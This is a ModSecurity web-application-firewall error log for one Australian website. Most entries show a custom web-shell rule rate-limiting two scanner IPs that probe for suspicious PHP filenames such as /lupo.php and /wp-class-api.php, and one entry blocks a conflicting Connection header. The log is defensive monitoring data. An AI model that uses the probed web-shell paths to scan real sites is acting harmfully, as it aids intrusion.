[Tue Apr 21 21:28:16.228250 2026] [:error] [pid 4823:tid 4861] [client 172.213.216.244:30286] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aed7cPc8mke3PfHqsxEDIwAAAYg"]
[Tue Apr 21 21:28:16.705269 2026] [:error] [pid 4823:tid 4872] [client 172.213.216.244:30316] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aed7cPc8mke3PfHqsxEDJQAAAZM"]
[Tue Apr 21 21:28:17.445636 2026] [:error] [pid 35321:tid 35391] [client 172.213.216.244:28231] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aed7cTeHLhVUuu8cVXy29AAAAEc"]
[Tue Apr 21 21:28:17.964283 2026] [:error] [pid 35320:tid 35332] [client 172.213.216.244:40080] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aed7cYJW6fdXWO6agMHR4QAAAAI"]
[Tue Apr 21 21:28:18.984249 2026] [:error] [pid 35322:tid 35366] [client 172.213.216.244:34044] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aed7cqPoAfV40BTfVKzesAAAAIk"]
[Tue Apr 21 21:28:19.826817 2026] [:error] [pid 35320:tid 35347] [client 172.213.216.244:28274] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aed7c4JW6fdXWO6agMHR5wAAABE"]
[Tue Apr 21 21:28:20.455168 2026] [:error] [pid 4823:tid 4860] [client 172.213.216.244:34027] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aed7dPc8mke3PfHqsxEDKQAAAYc"]
[Tue Apr 21 21:28:21.118735 2026] [:error] [pid 54080:tid 54095] [client 172.213.216.244:4326] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aed7dYzEbQHHxtmWbaa-_QAAAs0"]
[Tue Apr 21 21:28:21.960251 2026] [:error] [pid 35321:tid 35400] [client 172.213.216.244:51211] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aed7dTeHLhVUuu8cVXy2-gAAAFA"]
[Tue Apr 21 21:28:22.856937 2026] [:error] [pid 53978:tid 53985] [client 172.213.216.244:28174] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aed7dp1ivsR4hcOSQbYpDgAAAoU"]
[Tue Apr 21 21:28:24.801902 2026] [:error] [pid 54080:tid 54105] [client 172.213.216.244:40067] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aed7eIzEbQHHxtmWbaa_AwAAAtc"]
[Tue Apr 21 21:28:26.415030 2026] [:error] [pid 35321:tid 35384] [client 172.213.216.244:51263] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aed7ejeHLhVUuu8cVXy3AAAAAEA"]
[Tue Apr 21 21:28:27.688555 2026] [:error] [pid 4777:tid 4798] [client 172.213.216.244:47430] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aed7e6xXur6bykKyLZSubwAAAQo"]
[Tue Apr 21 22:06:04.508766 2026] [:error] [pid 35320:tid 35340] [client 182.44.2.148:56971] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeeETIJW6fdXWO6agMHpiAAAAAo"]
[Tue Apr 21 23:10:14.137649 2026] [:error] [pid 35320:tid 35330] [client 51.120.72.131:32844] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeeTVoJW6fdXWO6agMEPFgAAAAA"]
[Tue Apr 21 23:10:15.851524 2026] [:error] [pid 35321:tid 35396] [client 51.120.72.131:30588] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeeTVzeHLhVUuu8cVXwFTgAAAEw"]
[Tue Apr 21 23:10:16.944698 2026] [:error] [pid 35321:tid 35388] [client 51.120.72.131:37804] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeeTWDeHLhVUuu8cVXwFUgAAAEQ"]
[Tue Apr 21 23:10:18.167320 2026] [:error] [pid 35320:tid 35339] [client 51.120.72.131:56639] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeeTWoJW6fdXWO6agMEPKQAAAAk"]
[Tue Apr 21 23:10:20.163496 2026] [:error] [pid 35321:tid 35407] [client 51.120.72.131:39466] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeeTXDeHLhVUuu8cVXwFXQAAAFc"]
[Tue Apr 21 23:10:21.421772 2026] [:error] [pid 35320:tid 35353] [client 51.120.72.131:56637] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeeTXYJW6fdXWO6agMEPMQAAABc"]
[Tue Apr 21 23:10:22.183149 2026] [:error] [pid 35320:tid 35346] [client 51.120.72.131:19715] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeeTXoJW6fdXWO6agMEPNgAAABA"]
[Tue Apr 21 23:10:23.779403 2026] [:error] [pid 53978:tid 54003] [client 51.120.72.131:36721] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeeTX51ivsR4hcOSQbZISAAAApc"]
[Tue Apr 21 23:10:24.936806 2026] [:error] [pid 35320:tid 35330] [client 51.120.72.131:19217] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeeTYIJW6fdXWO6agMEPQQAAAAA"]
[Tue Apr 21 23:10:25.911096 2026] [:error] [pid 54080:tid 54087] [client 51.120.72.131:36706] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeeTYYzEbQHHxtmWbabZhgAAAsU"]
[Tue Apr 21 23:10:27.088261 2026] [:error] [pid 35321:tid 35405] [client 51.120.72.131:21845] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeeTYzeHLhVUuu8cVXwFaQAAAFU"]
[Tue Apr 21 23:10:29.127097 2026] [:error] [pid 35320:tid 35334] [client 51.120.72.131:3157] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeeTZYJW6fdXWO6agMEPYgAAAAQ"]
[Tue Apr 21 23:10:31.447454 2026] [:error] [pid 35415:tid 35442] [client 51.120.72.131:21858] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeeTZ0iqDinI4_22zziAIgAAAM8"]
[Tue Apr 21 23:10:35.013286 2026] [:error] [pid 53978:tid 54002] [client 51.120.72.131:40020] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeeTa51ivsR4hcOSQbZIXQAAApY"]
[Tue Apr 21 23:10:40.915729 2026] [:error] [pid 35321:tid 35395] [client 51.120.72.131:25937] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeeTcDeHLhVUuu8cVXwFsAAAAEs"]
[Tue Apr 21 23:10:45.954843 2026] [:error] [pid 4823:tid 4855] [client 51.120.72.131:25922] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeeTdfc8mke3PfHqsxEPkQAAAYI"]
[Tue Apr 21 23:10:49.793625 2026] [:error] [pid 35320:tid 35340] [client 51.120.72.131:27602] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeeTeYJW6fdXWO6agMEP0gAAAAo"]
[Tue Apr 21 23:10:50.555517 2026] [:error] [pid 4777:tid 4802] [client 51.120.72.131:32773] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeeTeqxXur6bykKyLZS5yAAAAQ4"]
[Tue Apr 21 23:10:51.758598 2026] [:error] [pid 53731:tid 53759] [client 51.120.72.131:27527] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeeTe12I9THUR-bRVGybQwAAAhc"]
[Tue Apr 21 23:10:53.303838 2026] [:error] [pid 35320:tid 35351] [client 51.120.72.131:20643] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeeTfYJW6fdXWO6agMEP-wAAABU"]
[Tue Apr 21 23:10:55.153226 2026] [:error] [pid 35320:tid 35341] [client 51.120.72.131:20660] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeeTf4JW6fdXWO6agMEQBQAAAAs"]
[Tue Apr 21 23:10:56.602142 2026] [:error] [pid 35320:tid 35354] [client 51.120.72.131:3520] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeeTgIJW6fdXWO6agMEQCQAAABg"]
[Tue Apr 21 23:10:57.692106 2026] [:error] [pid 53731:tid 53753] [client 51.120.72.131:40035] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeeTgV2I9THUR-bRVGybSAAAAhE"]
[Tue Apr 21 23:10:59.041928 2026] [:error] [pid 35320:tid 35339] [client 51.120.72.131:3953] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeeTg4JW6fdXWO6agMEQFQAAAAk"]
[Tue Apr 21 23:11:00.280549 2026] [:error] [pid 53978:tid 53990] [client 51.120.72.131:32826] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeeThJ1ivsR4hcOSQbZIjgAAAoo"]
[Tue Apr 21 23:11:01.102070 2026] [:error] [pid 54080:tid 54100] [client 51.120.72.131:26227] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeeThYzEbQHHxtmWbabZzAAAAtI"]
[Tue Apr 21 23:11:01.807975 2026] [:error] [pid 35320:tid 35337] [client 51.120.72.131:40001] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeeThYJW6fdXWO6agMEQOgAAAAc"]
[Tue Apr 21 23:11:02.809938 2026] [:error] [pid 53832:tid 53838] [client 51.120.72.131:19464] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeeThtzkuxsE_OhM9UKCcgAAAkM"]
[Tue Apr 21 23:11:03.729004 2026] [:error] [pid 54080:tid 54106] [client 51.120.72.131:39988] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeeTh4zEbQHHxtmWbabZzgAAAtg"]
[Tue Apr 21 23:11:04.432660 2026] [:error] [pid 35320:tid 35339] [client 51.120.72.131:3541] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeeTiIJW6fdXWO6agMEQQwAAAAk"]
[Tue Apr 21 23:11:05.353047 2026] [:error] [pid 53978:tid 53990] [client 51.120.72.131:39799] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeeTiZ1ivsR4hcOSQbZIogAAAoo"]
[Tue Apr 21 23:11:06.461057 2026] [:error] [pid 35321:tid 35400] [client 51.120.72.131:27152] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeeTijeHLhVUuu8cVXwF-AAAAFA"]
[Tue Apr 21 23:11:07.105107 2026] [:error] [pid 35320:tid 35353] [client 51.120.72.131:38946] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeeTi4JW6fdXWO6agMEQTAAAABc"]
[Tue Apr 21 23:11:08.416813 2026] [:error] [pid 35415:tid 35449] [client 51.120.72.131:3840] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeeTjEiqDinI4_22zziAOgAAANY"]
[Tue Apr 21 23:11:09.553112 2026] [:error] [pid 54080:tid 54085] [client 51.120.72.131:25533] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeeTjYzEbQHHxtmWbabZ6AAAAsM"]
[Tue Apr 21 23:11:11.140891 2026] [:error] [pid 35321:tid 35391] [client 51.120.72.131:3872] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeeTjzeHLhVUuu8cVXwGFAAAAEc"]
[Tue Apr 21 23:11:24.341737 2026] [:error] [pid 35322:tid 35361] [client 51.120.72.131:27196] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aeeTnKPoAfV40BTfVKzlqAAAAIQ"]
[Tue Apr 21 23:11:26.485601 2026] [:error] [pid 35320:tid 35351] [client 51.120.72.131:36276] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aeeTnoJW6fdXWO6agMEQnQAAABU"]
[Tue Apr 21 23:11:28.615833 2026] [:error] [pid 35320:tid 35343] [client 51.120.72.131:26839] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aeeToIJW6fdXWO6agMEQqwAAAA0"]
[Tue Apr 21 23:11:30.408159 2026] [:error] [pid 35321:tid 35395] [client 51.120.72.131:33556] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aeeTojeHLhVUuu8cVXwGZgAAAEs"]
[Tue Apr 21 23:11:32.594750 2026] [:error] [pid 53832:tid 53839] [client 51.120.72.131:26859] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeeTpNzkuxsE_OhM9UKClgAAAkQ"]
